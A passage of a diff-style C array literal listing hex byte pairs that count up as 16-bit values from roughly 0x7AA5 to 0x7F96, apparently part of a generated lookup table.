0xA5, 0x7A, 0xA6, 0x7A, 0xA7, 0x7A, 0xA8, 0x7A, + 0xA9, 0x7A, 0xAA, 0x7A, 0xAB, 0x7A, 0xAC, 0x7A, + 0xAD, 0x7A, 0xAE, 0x7A, 0xAF, 0x7A, 0xB0, 0x7A, + 0xB1, 0x7A, 0xB2, 0x7A, 0xB3, 0x7A, 0xB4, 0x7A, + 0xB5, 0x7A, 0xB6, 0x7A, 0xB7, 0x7A, 0xB8, 0x7A, + 0xB9, 0x7A, 0xBA, 0x7A, 0xBB, 0x7A, 0xBC, 0x7A, + 0xBD, 0x7A, 0xBE, 0x7A, 0xBF, 0x7A, 0xC0, 0x7A, + 0xC1, 0x7A, 0xC2, 0x7A, 0xC3, 0x7A, 0xC4, 0x7A, + 0xC5, 0x7A, 0xC6, 0x7A, 0xC7, 0x7A, 0xC8, 0x7A, + 0xC9, 0x7A, 0xCA, 0x7A, 0xCB, 0x7A, 0xCC, 0x7A, + 0xCD, 0x7A, 0xCE, 0x7A, 0xCF, 0x7A, 0xD0, 0x7A, + 0xD1, 0x7A, 0xD2, 0x7A, 0xD3, 0x7A, 0xD4, 0x7A, + 0xD5, 0x7A, 0xD6, 0x7A, 0xD7, 0x7A, 0xD8, 0x7A, + 0xD9, 0x7A, 0xDA, 0x7A, 0xDB, 0x7A, 0xDC, 0x7A, + 0xDD, 0x7A, 0xDE, 0x7A, 0xDF, 0x7A, 0xE0, 0x7A, + 0xE1, 0x7A, 0xE2, 0x7A, 0xE3, 0x7A, 0xE4, 0x7A, + 0xE5, 0x7A, 0xE6, 0x7A, 0xE7, 0x7A, 0xE8, 0x7A, + 0xE9, 0x7A, 0xEA, 0x7A, 0xEB, 0x7A, 0xEC, 0x7A, + 0xED, 0x7A, 0xEE, 0x7A, 0xEF, 0x7A, 0xF0, 0x7A, + 0xF1, 0x7A, 0xF2, 0x7A, 0xF3, 0x7A, 0xF4, 0x7A, + 0xF5, 0x7A, 0xF6, 0x7A, 0xF7, 0x7A, 0xF8, 0x7A, + 0xF9, 0x7A, 0xFA, 0x7A, 0xFB, 0x7A, 0xFC, 0x7A, + 0xFD, 0x7A, 0xFE, 0x7A, 0xFF, 0x7B, 0x00, 0x7B, + 0x01, 0x7B, 0x02, 0x7B, 0x03, 0x7B, 0x04, 0x7B, + 0x05, 0x7B, 0x06, 0x7B, 0x07, 0x7B, 0x08, 0x7B, + 0x09, 0x7B, 0x0A, 0x7B, 0x0B, 0x7B, 0x0C, 0x7B, + 0x0D, 0x7B, 0x0E, 0x7B, 0x0F, 0x7B, 0x10, 0x7B, + 0x11, 0x7B, 0x12, 0x7B, 0x13, 0x7B, 0x14, 0x7B, + 0x15, 0x7B, 0x16, 0x7B, 0x17, 0x7B, 0x18, 0x7B, + 0x19, 0x7B, 0x1A, 0x7B, 0x1B, 0x7B, 0x1C, 0x7B, + 0x1D, 0x7B, 0x1E, 0x7B, 0x1F, 0x7B, 0x20, 0x7B, + 0x21, 0x7B, 0x22, 0x7B, 0x23, 0x7B, 0x24, 0x7B, + 0x25, 0x7B, 0x26, 0x7B, 0x27, 0x7B, 0x28, 0x7B, + 0x29, 0x7B, 0x2A, 0x7B, 0x2B, 0x7B, 0x2C, 0x7B, + 0x2D, 0x7B, 0x2E, 0x7B, 0x2F, 0x7B, 0x30, 0x7B, + 0x31, 0x7B, 0x32, 0x7B, 0x33, 0x7B, 0x34, 0x7B, + 0x35, 0x7B, 0x36, 0x7B, 0x37, 0x7B, 0x38, 0x7B, + 0x39, 0x7B, 0x3A, 0x7B, 0x3B, 0x7B, 0x3C, 0x7B, + 0x3D, 0x7B, 0x3E, 0x7B, 0x3F, 0x7B, 0x40, 0x7B, + 0x41, 0x7B, 0x42, 0x7B, 0x43, 0x7B, 0x44, 0x7B, + 0x45, 0x7B, 0x46, 0x7B, 0x47, 0x7B, 0x48, 0x7B, + 0x49, 0x7B, 0x4A, 0x7B, 0x4B, 0x7B, 0x4C, 0x7B, + 0x4D, 0x7B, 0x4E, 0x7B, 0x4F, 0x7B, 0x50, 0x7B, + 0x51, 0x7B, 0x52, 0x7B, 0x53, 0x7B, 0x54, 0x7B, + 0x55, 0x7B, 0x56, 0x7B, 0x57, 0x7B, 0x58, 0x7B, + 0x59, 0x7B, 0x5A, 0x7B, 0x5B, 0x7B, 0x5C, 0x7B, + 0x5D, 0x7B, 0x5E, 0x7B, 0x5F, 0x7B, 0x60, 0x7B, + 0x61, 0x7B, 0x62, 0x7B, 0x63, 0x7B, 0x64, 0x7B, + 0x65, 0x7B, 0x66, 0x7B, 0x67, 0x7B, 0x68, 0x7B, + 0x69, 0x7B, 0x6A, 0x7B, 0x6B, 0x7B, 0x6C, 0x7B, + 0x6D, 0x7B, 0x6E, 0x7B, 0x6F, 0x7B, 0x70, 0x7B, + 0x71, 0x7B, 0x72, 0x7B, 0x73, 0x7B, 0x74, 0x7B, + 0x75, 0x7B, 0x76, 0x7B, 0x77, 0x7B, 0x78, 0x7B, + 0x79, 0x7B, 0x7A, 0x7B, 0x7B, 0x7B, 0x7C, 0x7B, + 0x7D, 0x7B, 0x7E, 0x7B, 0x7F, 0x7B, 0x80, 0x7B, + 0x81, 0x7B, 0x82, 0x7B, 0x83, 0x7B, 0x84, 0x7B, + 0x85, 0x7B, 0x86, 0x7B, 0x87, 0x7B, 0x88, 0x7B, + 0x89, 0x7B, 0x8A, 0x7B, 0x8B, 0x7B, 0x8C, 0x7B, + 0x8D, 0x7B, 0x8E, 0x7B, 0x8F, 0x7B, 0x90, 0x7B, + 0x91, 0x7B, 0x92, 0x7B, 0x93, 0x7B, 0x94, 0x7B, + 0x95, 0x7B, 0x96, 0x7B, 0x97, 0x7B, 0x98, 0x7B, + 0x99, 0x7B, 0x9A, 0x7B, 0x9B, 0x7B, 0x9C, 0x7B, + 0x9D, 0x7B, 0x9E, 0x7B, 0x9F, 0x7B, 0xA0, 0x7B, + 0xA1, 0x7B, 0xA2, 0x7B, 0xA3, 0x7B, 0xA4, 0x7B, + 0xA5, 0x7B, 0xA6, 0x7B, 0xA7, 0x7B, 0xA8, 0x7B, + 0xA9, 0x7B, 0xAA, 0x7B, 0xAB, 0x7B, 0xAC, 0x7B, + 0xAD, 0x7B, 0xAE, 0x7B, 0xAF, 0x7B, 0xB0, 0x7B, + 0xB1, 0x7B, 0xB2, 0x7B, 0xB3, 0x7B, 0xB4, 0x7B, + 0xB5, 0x7B, 0xB6, 0x7B, 0xB7, 0x7B, 0xB8, 0x7B, + 0xB9, 0x7B, 0xBA, 0x7B, 0xBB, 0x7B, 0xBC, 0x7B, + 0xBD, 0x7B, 0xBE, 0x7B, 0xBF, 0x7B, 0xC0, 0x7B, + 0xC1, 0x7B, 0xC2, 0x7B, 0xC3, 0x7B, 0xC4, 0x7B, + 0xC5, 0x7B, 0xC6, 0x7B, 0xC7, 0x7B, 0xC8, 0x7B, + 0xC9, 0x7B, 0xCA, 0x7B, 0xCB, 0x7B, 0xCC, 0x7B, + 0xCD, 0x7B, 0xCE, 0x7B, 0xCF, 0x7B, 0xD0, 0x7B, + 0xD1, 0x7B, 0xD2, 0x7B, 0xD3, 0x7B, 0xD4, 0x7B, + 0xD5, 0x7B, 0xD6, 0x7B, 0xD7, 0x7B, 0xD8, 0x7B, + 0xD9, 0x7B, 0xDA, 0x7B, 0xDB, 0x7B, 0xDC, 0x7B, + 0xDD, 0x7B, 0xDE, 0x7B, 0xDF, 0x7B, 0xE0, 0x7B, + 0xE1, 0x7B, 0xE2, 0x7B, 0xE3, 0x7B, 0xE4, 0x7B, + 0xE5, 0x7B, 0xE6, 0x7B, 0xE7, 0x7B, 0xE8, 0x7B, + 0xE9, 0x7B, 0xEA, 0x7B, 0xEB, 0x7B, 0xEC, 0x7B, + 0xED, 0x7B, 0xEE, 0x7B, 0xEF, 0x7B, 0xF0, 0x7B, + 0xF1, 0x7B, 0xF2, 0x7B, 0xF3, 0x7B, 0xF4, 0x7B, + 0xF5, 0x7B, 0xF6, 0x7B, 0xF7, 0x7B, 0xF8, 0x7B, + 0xF9, 0x7B, 0xFA, 0x7B, 0xFB, 0x7B, 0xFC, 0x7B, + 0xFD, 0x7B, 0xFE, 0x7B, 0xFF, 0x7C, 0x00, 0x7C, + 0x01, 0x7C, 0x02, 0x7C, 0x03, 0x7C, 0x04, 0x7C, + 0x05, 0x7C, 0x06, 0x7C, 0x07, 0x7C, 0x08, 0x7C, + 0x09, 0x7C, 0x0A, 0x7C, 0x0B, 0x7C, 0x0C, 0x7C, + 0x0D, 0x7C, 0x0E, 0x7C, 0x0F, 0x7C, 0x10, 0x7C, + 0x11, 0x7C, 0x12, 0x7C, 0x13, 0x7C, 0x14, 0x7C, + 0x15, 0x7C, 0x16, 0x7C, 0x17, 0x7C, 0x18, 0x7C, + 0x19, 0x7C, 0x1A, 0x7C, 0x1B, 0x7C, 0x1C, 0x7C, + 0x1D, 0x7C, 0x1E, 0x7C, 0x1F, 0x7C, 0x20, 0x7C, + 0x21, 0x7C, 0x22, 0x7C, 0x23, 0x7C, 0x24, 0x7C, + 0x25, 0x7C, 0x26, 0x7C, 0x27, 0x7C, 0x28, 0x7C, + 0x29, 0x7C, 0x2A, 0x7C, 0x2B, 0x7C, 0x2C, 0x7C, + 0x2D, 0x7C, 0x2E, 0x7C, 0x2F, 0x7C, 0x30, 0x7C, + 0x31, 0x7C, 0x32, 0x7C, 0x33, 0x7C, 0x34, 0x7C, + 0x35, 0x7C, 0x36, 0x7C, 0x37, 0x7C, 0x38, 0x7C, + 0x39, 0x7C, 0x3A, 0x7C, 0x3B, 0x7C, 0x3C, 0x7C, + 0x3D, 0x7C, 0x3E, 0x7C, 0x3F, 0x7C, 0x40, 0x7C, + 0x41, 0x7C, 0x42, 0x7C, 0x43, 0x7C, 0x44, 0x7C, + 0x45, 0x7C, 0x46, 0x7C, 0x47, 0x7C, 0x48, 0x7C, + 0x49, 0x7C, 0x4A, 0x7C, 0x4B, 0x7C, 0x4C, 0x7C, + 0x4D, 0x7C, 0x4E, 0x7C, 0x4F, 0x7C, 0x50, 0x7C, + 0x51, 0x7C, 0x52, 0x7C, 0x53, 0x7C, 0x54, 0x7C, + 0x55, 0x7C, 0x56, 0x7C, 0x57, 0x7C, 0x58, 0x7C, + 0x59, 0x7C, 0x5A, 0x7C, 0x5B, 0x7C, 0x5C, 0x7C, + 0x5D, 0x7C, 0x5E, 0x7C, 0x5F, 0x7C, 0x60, 0x7C, + 0x61, 0x7C, 0x62, 0x7C, 0x63, 0x7C, 0x64, 0x7C, + 0x65, 0x7C, 0x66, 0x7C, 0x67, 0x7C, 0x68, 0x7C, + 0x69, 0x7C, 0x6A, 0x7C, 0x6B, 0x7C, 0x6C, 0x7C, + 0x6D, 0x7C, 0x6E, 0x7C, 0x6F, 0x7C, 0x70, 0x7C, + 0x71, 0x7C, 0x72, 0x7C, 0x73, 0x7C, 0x74, 0x7C, + 0x75, 0x7C, 0x76, 0x7C, 0x77, 0x7C, 0x78, 0x7C, + 0x79, 0x7C, 0x7A, 0x7C, 0x7B, 0x7C, 0x7C, 0x7C, + 0x7D, 0x7C, 0x7E, 0x7C, 0x7F, 0x7C, 0x80, 0x7C, + 0x81, 0x7C, 0x82, 0x7C, 0x83, 0x7C, 0x84, 0x7C, + 0x85, 0x7C, 0x86, 0x7C, 0x87, 0x7C, 0x88, 0x7C, + 0x89, 0x7C, 0x8A, 0x7C, 0x8B, 0x7C, 0x8C, 0x7C, + 0x8D, 0x7C, 0x8E, 0x7C, 0x8F, 0x7C, 0x90, 0x7C, + 0x91, 0x7C, 0x92, 0x7C, 0x93, 0x7C, 0x94, 0x7C, + 0x95, 0x7C, 0x96, 0x7C, 0x97, 0x7C, 0x98, 0x7C, + 0x99, 0x7C, 0x9A, 0x7C, 0x9B, 0x7C, 0x9C, 0x7C, + 0x9D, 0x7C, 0x9E, 0x7C, 0x9F, 0x7C, 0xA0, 0x7C, + 0xA1, 0x7C, 0xA2, 0x7C, 0xA3, 0x7C, 0xA4, 0x7C, + 0xA5, 0x7C, 0xA6, 0x7C, 0xA7, 0x7C, 0xA8, 0x7C, + 0xA9, 0x7C, 0xAA, 0x7C, 0xAB, 0x7C, 0xAC, 0x7C, + 0xAD, 0x7C, 0xAE, 0x7C, 0xAF, 0x7C, 0xB0, 0x7C, + 0xB1, 0x7C, 0xB2, 0x7C, 0xB3, 0x7C, 0xB4, 0x7C, + 0xB5, 0x7C, 0xB6, 0x7C, 0xB7, 0x7C, 0xB8, 0x7C, + 0xB9, 0x7C, 0xBA, 0x7C, 0xBB, 0x7C, 0xBC, 0x7C, + 0xBD, 0x7C, 0xBE, 0x7C, 0xBF, 0x7C, 0xC0, 0x7C, + 0xC1, 0x7C, 0xC2, 0x7C, 0xC3, 0x7C, 0xC4, 0x7C, + 0xC5, 0x7C, 0xC6, 0x7C, 0xC7, 0x7C, 0xC8, 0x7C, + 0xC9, 0x7C, 0xCA, 0x7C, 0xCB, 0x7C, 0xCC, 0x7C, + 0xCD, 0x7C, 0xCE, 0x7C, 0xCF, 0x7C, 0xD0, 0x7C, + 0xD1, 0x7C, 0xD2, 0x7C, 0xD3, 0x7C, 0xD4, 0x7C, + 0xD5, 0x7C, 0xD6, 0x7C, 0xD7, 0x7C, 0xD8, 0x7C, + 0xD9, 0x7C, 0xDA, 0x7C, 0xDB, 0x7C, 0xDC, 0x7C, + 0xDD, 0x7C, 0xDE, 0x7C, 0xDF, 0x7C, 0xE0, 0x7C, + 0xE1, 0x7C, 0xE2, 0x7C, 0xE3, 0x7C, 0xE4, 0x7C, + 0xE5, 0x7C, 0xE6, 0x7C, 0xE7, 0x7C, 0xE8, 0x7C, + 0xE9, 0x7C, 0xEA, 0x7C, 0xEB, 0x7C, 0xEC, 0x7C, + 0xED, 0x7C, 0xEE, 0x7C, 0xEF, 0x7C, 0xF0, 0x7C, + 0xF1, 0x7C, 0xF2, 0x7C, 0xF3, 0x7C, 0xF4, 0x7C, + 0xF5, 0x7C, 0xF6, 0x7C, 0xF7, 0x7C, 0xF8, 0x7C, + 0xF9, 0x7C, 0xFA, 0x7C, 0xFB, 0x7C, 0xFC, 0x7C, + 0xFD, 0x7C, 0xFE, 0x7C, 0xFF, 0x7D, 0x00, 0x7D, + 0x01, 0x7D, 0x02, 0x7D, 0x03, 0x7D, 0x04, 0x7D, + 0x05, 0x7D, 0x06, 0x7D, 0x07, 0x7D, 0x08, 0x7D, + 0x09, 0x7D, 0x0A, 0x7D, 0x0B, 0x7D, 0x0C, 0x7D, + 0x0D, 0x7D, 0x0E, 0x7D, 0x0F, 0x7D, 0x10, 0x7D, + 0x11, 0x7D, 0x12, 0x7D, 0x13, 0x7D, 0x14, 0x7D, + 0x15, 0x7D, 0x16, 0x7D, 0x17, 0x7D, 0x18, 0x7D, + 0x19, 0x7D, 0x1A, 0x7D, 0x1B, 0x7D, 0x1C, 0x7D, + 0x1D, 0x7D, 0x1E, 0x7D, 0x1F, 0x7D, 0x20, 0x7D, + 0x21, 0x7D, 0x22, 0x7D, 0x23, 0x7D, 0x24, 0x7D, + 0x25, 0x7D, 0x26, 0x7D, 0x27, 0x7D, 0x28, 0x7D, + 0x29, 0x7D, 0x2A, 0x7D, 0x2B, 0x7D, 0x2C, 0x7D, + 0x2D, 0x7D, 0x2E, 0x7D, 0x2F, 0x7D, 0x30, 0x7D, + 0x31, 0x7D, 0x32, 0x7D, 0x33, 0x7D, 0x34, 0x7D, + 0x35, 0x7D, 0x36, 0x7D, 0x37, 0x7D, 0x38, 0x7D, + 0x39, 0x7D, 0x3A, 0x7D, 0x3B, 0x7D, 0x3C, 0x7D, + 0x3D, 0x7D, 0x3E, 0x7D, 0x3F, 0x7D, 0x40, 0x7D, + 0x41, 0x7D, 0x42, 0x7D, 0x43, 0x7D, 0x44, 0x7D, + 0x45, 0x7D, 0x46, 0x7D, 0x47, 0x7D, 0x48, 0x7D, + 0x49, 0x7D, 0x4A, 0x7D, 0x4B, 0x7D, 0x4C, 0x7D, + 0x4D, 0x7D, 0x4E, 0x7D, 0x4F, 0x7D, 0x50, 0x7D, + 0x51, 0x7D, 0x52, 0x7D, 0x53, 0x7D, 0x54, 0x7D, + 0x55, 0x7D, 0x56, 0x7D, 0x57, 0x7D, 0x58, 0x7D, + 0x59, 0x7D, 0x5A, 0x7D, 0x5B, 0x7D, 0x5C, 0x7D, + 0x5D, 0x7D, 0x5E, 0x7D, 0x5F, 0x7D, 0x60, 0x7D, + 0x61, 0x7D, 0x62, 0x7D, 0x63, 0x7D, 0x64, 0x7D, + 0x65, 0x7D, 0x66, 0x7D, 0x67, 0x7D, 0x68, 0x7D, + 0x69, 0x7D, 0x6A, 0x7D, 0x6B, 0x7D, 0x6C, 0x7D, + 0x6D, 0x7D, 0x6E, 0x7D, 0x6F, 0x7D, 0x70, 0x7D, + 0x71, 0x7D, 0x72, 0x7D, 0x73, 0x7D, 0x74, 0x7D, + 0x75, 0x7D, 0x76, 0x7D, 0x77, 0x7D, 0x78, 0x7D, + 0x79, 0x7D, 0x7A, 0x7D, 0x7B, 0x7D, 0x7C, 0x7D, + 0x7D, 0x7D, 0x7E, 0x7D, 0x7F, 0x7D, 0x80, 0x7D, + 0x81, 0x7D, 0x82, 0x7D, 0x83, 0x7D, 0x84, 0x7D, + 0x85, 0x7D, 0x86, 0x7D, 0x87, 0x7D, 0x88, 0x7D, + 0x89, 0x7D, 0x8A, 0x7D, 0x8B, 0x7D, 0x8C, 0x7D, + 0x8D, 0x7D, 0x8E, 0x7D, 0x8F, 0x7D, 0x90, 0x7D, + 0x91, 0x7D, 0x92, 0x7D, 0x93, 0x7D, 0x94, 0x7D, + 0x95, 0x7D, 0x96, 0x7D, 0x97, 0x7D, 0x98, 0x7D, + 0x99, 0x7D, 0x9A, 0x7D, 0x9B, 0x7D, 0x9C, 0x7D, + 0x9D, 0x7D, 0x9E, 0x7D, 0x9F, 0x7D, 0xA0, 0x7D, + 0xA1, 0x7D, 0xA2, 0x7D, 0xA3, 0x7D, 0xA4, 0x7D, + 0xA5, 0x7D, 0xA6, 0x7D, 0xA7, 0x7D, 0xA8, 0x7D, + 0xA9, 0x7D, 0xAA, 0x7D, 0xAB, 0x7D, 0xAC, 0x7D, + 0xAD, 0x7D, 0xAE, 0x7D, 0xAF, 0x7D, 0xB0, 0x7D, + 0xB1, 0x7D, 0xB2, 0x7D, 0xB3, 0x7D, 0xB4, 0x7D, + 0xB5, 0x7D, 0xB6, 0x7D, 0xB7, 0x7D, 0xB8, 0x7D, + 0xB9, 0x7D, 0xBA, 0x7D, 0xBB, 0x7D, 0xBC, 0x7D, + 0xBD, 0x7D, 0xBE, 0x7D, 0xBF, 0x7D, 0xC0, 0x7D, + 0xC1, 0x7D, 0xC2, 0x7D, 0xC3, 0x7D, 0xC4, 0x7D, + 0xC5, 0x7D, 0xC6, 0x7D, 0xC7, 0x7D, 0xC8, 0x7D, + 0xC9, 0x7D, 0xCA, 0x7D, 0xCB, 0x7D, 0xCC, 0x7D, + 0xCD, 0x7D, 0xCE, 0x7D, 0xCF, 0x7D, 0xD0, 0x7D, + 0xD1, 0x7D, 0xD2, 0x7D, 0xD3, 0x7D, 0xD4, 0x7D, + 0xD5, 0x7D, 0xD6, 0x7D, 0xD7, 0x7D, 0xD8, 0x7D, + 0xD9, 0x7D, 0xDA, 0x7D, 0xDB, 0x7D, 0xDC, 0x7D, + 0xDD, 0x7D, 0xDE, 0x7D, 0xDF, 0x7D, 0xE0, 0x7D, + 0xE1, 0x7D, 0xE2, 0x7D, 0xE3, 0x7D, 0xE4, 0x7D, + 0xE5, 0x7D, 0xE6, 0x7D, 0xE7, 0x7D, 0xE8, 0x7D, + 0xE9, 0x7D, 0xEA, 0x7D, 0xEB, 0x7D, 0xEC, 0x7D, + 0xED, 0x7D, 0xEE, 0x7D, 0xEF, 0x7D, 0xF0, 0x7D, + 0xF1, 0x7D, 0xF2, 0x7D, 0xF3, 0x7D, 0xF4, 0x7D, + 0xF5, 0x7D, 0xF6, 0x7D, 0xF7, 0x7D, 0xF8, 0x7D, + 0xF9, 0x7D, 0xFA, 0x7D, 0xFB, 0x7D, 0xFC, 0x7D, + 0xFD, 0x7D, 0xFE, 0x7D, 0xFF, 0x7E, 0x00, 0x7E, + 0x01, 0x7E, 0x02, 0x7E, 0x03, 0x7E, 0x04, 0x7E, + 0x05, 0x7E, 0x06, 0x7E, 0x07, 0x7E, 0x08, 0x7E, + 0x09, 0x7E, 0x0A, 0x7E, 0x0B, 0x7E, 0x0C, 0x7E, + 0x0D, 0x7E, 0x0E, 0x7E, 0x0F, 0x7E, 0x10, 0x7E, + 0x11, 0x7E, 0x12, 0x7E, 0x13, 0x7E, 0x14, 0x7E, + 0x15, 0x7E, 0x16, 0x7E, 0x17, 0x7E, 0x18, 0x7E, + 0x19, 0x7E, 0x1A, 0x7E, 0x1B, 0x7E, 0x1C, 0x7E, + 0x1D, 0x7E, 0x1E, 0x7E, 0x1F, 0x7E, 0x20, 0x7E, + 0x21, 0x7E, 0x22, 0x7E, 0x23, 0x7E, 0x24, 0x7E, + 0x25, 0x7E, 0x26, 0x7E, 0x27, 0x7E, 0x28, 0x7E, + 0x29, 0x7E, 0x2A, 0x7E, 0x2B, 0x7E, 0x2C, 0x7E, + 0x2D, 0x7E, 0x2E, 0x7E, 0x2F, 0x7E, 0x30, 0x7E, + 0x31, 0x7E, 0x32, 0x7E, 0x33, 0x7E, 0x34, 0x7E, + 0x35, 0x7E, 0x36, 0x7E, 0x37, 0x7E, 0x38, 0x7E, + 0x39, 0x7E, 0x3A, 0x7E, 0x3B, 0x7E, 0x3C, 0x7E, + 0x3D, 0x7E, 0x3E, 0x7E, 0x3F, 0x7E, 0x40, 0x7E, + 0x41, 0x7E, 0x42, 0x7E, 0x43, 0x7E, 0x44, 0x7E, + 0x45, 0x7E, 0x46, 0x7E, 0x47, 0x7E, 0x48, 0x7E, + 0x49, 0x7E, 0x4A, 0x7E, 0x4B, 0x7E, 0x4C, 0x7E, + 0x4D, 0x7E, 0x4E, 0x7E, 0x4F, 0x7E, 0x50, 0x7E, + 0x51, 0x7E, 0x52, 0x7E, 0x53, 0x7E, 0x54, 0x7E, + 0x55, 0x7E, 0x56, 0x7E, 0x57, 0x7E, 0x58, 0x7E, + 0x59, 0x7E, 0x5A, 0x7E, 0x5B, 0x7E, 0x5C, 0x7E, + 0x5D, 0x7E, 0x5E, 0x7E, 0x5F, 0x7E, 0x60, 0x7E, + 0x61, 0x7E, 0x62, 0x7E, 0x63, 0x7E, 0x64, 0x7E, + 0x65, 0x7E, 0x66, 0x7E, 0x67, 0x7E, 0x68, 0x7E, + 0x69, 0x7E, 0x6A, 0x7E, 0x6B, 0x7E, 0x6C, 0x7E, + 0x6D, 0x7E, 0x6E, 0x7E, 0x6F, 0x7E, 0x70, 0x7E, + 0x71, 0x7E, 0x72, 0x7E, 0x73, 0x7E, 0x74, 0x7E, + 0x75, 0x7E, 0x76, 0x7E, 0x77, 0x7E, 0x78, 0x7E, + 0x79, 0x7E, 0x7A, 0x7E, 0x7B, 0x7E, 0x7C, 0x7E, + 0x7D, 0x7E, 0x7E, 0x7E, 0x7F, 0x7E, 0x80, 0x7E, + 0x81, 0x7E, 0x82, 0x7E, 0x83, 0x7E, 0x84, 0x7E, + 0x85, 0x7E, 0x86, 0x7E, 0x87, 0x7E, 0x88, 0x7E, + 0x89, 0x7E, 0x8A, 0x7E, 0x8B, 0x7E, 0x8C, 0x7E, + 0x8D, 0x7E, 0x8E, 0x7E, 0x8F, 0x7E, 0x90, 0x7E, + 0x91, 0x7E, 0x92, 0x7E, 0x93, 0x7E, 0x94, 0x7E, + 0x95, 0x7E, 0x96, 0x7E, 0x97, 0x7E, 0x98, 0x7E, + 0x99, 0x7E, 0x9A, 0x7E, 0x9B, 0x7E, 0x9C, 0x7E, + 0x9D, 0x7E, 0x9E, 0x7E, 0x9F, 0x7E, 0xA0, 0x7E, + 0xA1, 0x7E, 0xA2, 0x7E, 0xA3, 0x7E, 0xA4, 0x7E, + 0xA5, 0x7E, 0xA6, 0x7E, 0xA7, 0x7E, 0xA8, 0x7E, + 0xA9, 0x7E, 0xAA, 0x7E, 0xAB, 0x7E, 0xAC, 0x7E, + 0xAD, 0x7E, 0xAE, 0x7E, 0xAF, 0x7E, 0xB0, 0x7E, + 0xB1, 0x7E, 0xB2, 0x7E, 0xB3, 0x7E, 0xB4, 0x7E, + 0xB5, 0x7E, 0xB6, 0x7E, 0xB7, 0x7E, 0xB8, 0x7E, + 0xB9, 0x7E, 0xBA, 0x7E, 0xBB, 0x7E, 0xBC, 0x7E, + 0xBD, 0x7E, 0xBE, 0x7E, 0xBF, 0x7E, 0xC0, 0x7E, + 0xC1, 0x7E, 0xC2, 0x7E, 0xC3, 0x7E, 0xC4, 0x7E, + 0xC5, 0x7E, 0xC6, 0x7E, 0xC7, 0x7E, 0xC8, 0x7E, + 0xC9, 0x7E, 0xCA, 0x7E, 0xCB, 0x7E, 0xCC, 0x7E, + 0xCD, 0x7E, 0xCE, 0x7E, 0xCF, 0x7E, 0xD0, 0x7E, + 0xD1, 0x7E, 0xD2, 0x7E, 0xD3, 0x7E, 0xD4, 0x7E, + 0xD5, 0x7E, 0xD6, 0x7E, 0xD7, 0x7E, 0xD8, 0x7E, + 0xD9, 0x7E, 0xDA, 0x7E, 0xDB, 0x7E, 0xDC, 0x7E, + 0xDD, 0x7E, 0xDE, 0x7E, 0xDF, 0x7E, 0xE0, 0x7E, + 0xE1, 0x7E, 0xE2, 0x7E, 0xE3, 0x7E, 0xE4, 0x7E, + 0xE5, 0x7E, 0xE6, 0x7E, 0xE7, 0x7E, 0xE8, 0x7E, + 0xE9, 0x7E, 0xEA, 0x7E, 0xEB, 0x7E, 0xEC, 0x7E, + 0xED, 0x7E, 0xEE, 0x7E, 0xEF, 0x7E, 0xF0, 0x7E, + 0xF1, 0x7E, 0xF2, 0x7E, 0xF3, 0x7E, 0xF4, 0x7E, + 0xF5, 0x7E, 0xF6, 0x7E, 0xF7, 0x7E, 0xF8, 0x7E, + 0xF9, 0x7E, 0xFA, 0x7E, 0xFB, 0x7E, 0xFC, 0x7E, + 0xFD, 0x7E, 0xFE, 0x7E, 0xFF, 0x7F, 0x00, 0x7F, + 0x01, 0x7F, 0x02, 0x7F, 0x03, 0x7F, 0x04, 0x7F, + 0x05, 0x7F, 0x06, 0x7F, 0x07, 0x7F, 0x08, 0x7F, + 0x09, 0x7F, 0x0A, 0x7F, 0x0B, 0x7F, 0x0C, 0x7F, + 0x0D, 0x7F, 0x0E, 0x7F, 0x0F, 0x7F, 0x10, 0x7F, + 0x11, 0x7F, 0x12, 0x7F, 0x13, 0x7F, 0x14, 0x7F, + 0x15, 0x7F, 0x16, 0x7F, 0x17, 0x7F, 0x18, 0x7F, + 0x19, 0x7F, 0x1A, 0x7F, 0x1B, 0x7F, 0x1C, 0x7F, + 0x1D, 0x7F, 0x1E, 0x7F, 0x1F, 0x7F, 0x20, 0x7F, + 0x21, 0x7F, 0x22, 0x7F, 0x23, 0x7F, 0x24, 0x7F, + 0x25, 0x7F, 0x26, 0x7F, 0x27, 0x7F, 0x28, 0x7F, + 0x29, 0x7F, 0x2A, 0x7F, 0x2B, 0x7F, 0x2C, 0x7F, + 0x2D, 0x7F, 0x2E, 0x7F, 0x2F, 0x7F, 0x30, 0x7F, + 0x31, 0x7F, 0x32, 0x7F, 0x33, 0x7F, 0x34, 0x7F, + 0x35, 0x7F, 0x36, 0x7F, 0x37, 0x7F, 0x38, 0x7F, + 0x39, 0x7F, 0x3A, 0x7F, 0x3B, 0x7F, 0x3C, 0x7F, + 0x3D, 0x7F, 0x3E, 0x7F, 0x3F, 0x7F, 0x40, 0x7F, + 0x41, 0x7F, 0x42, 0x7F, 0x43, 0x7F, 0x44, 0x7F, + 0x45, 0x7F, 0x46, 0x7F, 0x47, 0x7F, 0x48, 0x7F, + 0x49, 0x7F, 0x4A, 0x7F, 0x4B, 0x7F, 0x4C, 0x7F, + 0x4D, 0x7F, 0x4E, 0x7F, 0x4F, 0x7F, 0x50, 0x7F, + 0x51, 0x7F, 0x52, 0x7F, 0x53, 0x7F, 0x54, 0x7F, + 0x55, 0x7F, 0x56, 0x7F, 0x57, 0x7F, 0x58, 0x7F, + 0x59, 0x7F, 0x5A, 0x7F, 0x5B, 0x7F, 0x5C, 0x7F, + 0x5D, 0x7F, 0x5E, 0x7F, 0x5F, 0x7F, 0x60, 0x7F, + 0x61, 0x7F, 0x62, 0x7F, 0x63, 0x7F, 0x64, 0x7F, + 0x65, 0x7F, 0x66, 0x7F, 0x67, 0x7F, 0x68, 0x7F, + 0x69, 0x7F, 0x6A, 0x7F, 0x6B, 0x7F, 0x6C, 0x7F, + 0x6D, 0x7F, 0x6E, 0x7F, 0x6F, 0x7F, 0x70, 0x7F, + 0x71, 0x7F, 0x72, 0x7F, 0x73, 0x7F, 0x74, 0x7F, + 0x75, 0x7F, 0x76, 0x7F, 0x77, 0x7F, 0x78, 0x7F, + 0x79, 0x7F, 0x7A, 0x7F, 0x7B, 0x7F, 0x7C, 0x7F, + 0x7D, 0x7F, 0x7E, 0x7F, 0x7F, 0x7F, 0x80, 0x7F, + 0x81, 0x7F, 0x82, 0x7F, 0x83, 0x7F, 0x84, 0x7F, + 0x85, 0x7F, 0x86, 0x7F, 0x87, 0x7F, 0x88, 0x7F, + 0x89, 0x7F, 0x8A, 0x7F, 0x8B, 0x7F, 0x8C, 0x7F, + 0x8D, 0x7F, 0x8E, 0x7F, 0x8F, 0x7F, 0x90, 0x7F, + 0x91, 0x7F, 0x92, 0x7F, 0x93, 0x7F, 0x94, 0x7F, + 0x95, 0x7F, 0x96, 